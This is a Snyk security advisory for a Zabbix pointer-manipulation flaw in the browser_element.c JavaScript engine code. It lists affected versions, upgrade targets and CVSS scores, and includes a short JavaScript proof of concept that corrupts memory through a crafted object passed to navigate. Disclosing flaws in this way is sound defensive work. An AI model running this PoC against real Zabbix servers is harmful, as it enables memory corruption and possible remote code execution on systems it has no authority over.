Uncontrolled Modification of Pointer Value Affecting zabbix/zabbix package, versions [,6.0.31rc1) [6.4.0,6.4.16rc1) [7.0.0alpha1,7.0.1rc1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

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  • Snyk ID SNYK-UNMANAGED-ZABBIXZABBIX-7660064
  • published 9 Aug 2024
  • disclosed 9 Aug 2024
  • credit Pavel Voit

How to fix?

Upgrade zabbix/zabbix to version 6.0.31rc1, 6.4.16rc1, 7.0.1rc1 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Modification of Pointer Value in the wd_element() function in browser_element.c. An attacker can manipulate memory pointers to corrupt memory contents via the JavaScript engine.

PoC

var browser = new Browser(Browser.chromeOptions());
var bypass = {};
bypass[atob('//9k')] = 'Memory location of this buffer will be used as zbx_wd_element_t';
bypass.navigate = browser.navigate;
bypass.navigate('remote code execution'); 

CVSS Scores

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Snyk

Recommended
7.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    Low
  • Availability (VA)
    High
  • Confidentiality (SC)
    Low
  • Integrity (SI)
    Low
  • Availability (SA)
    Low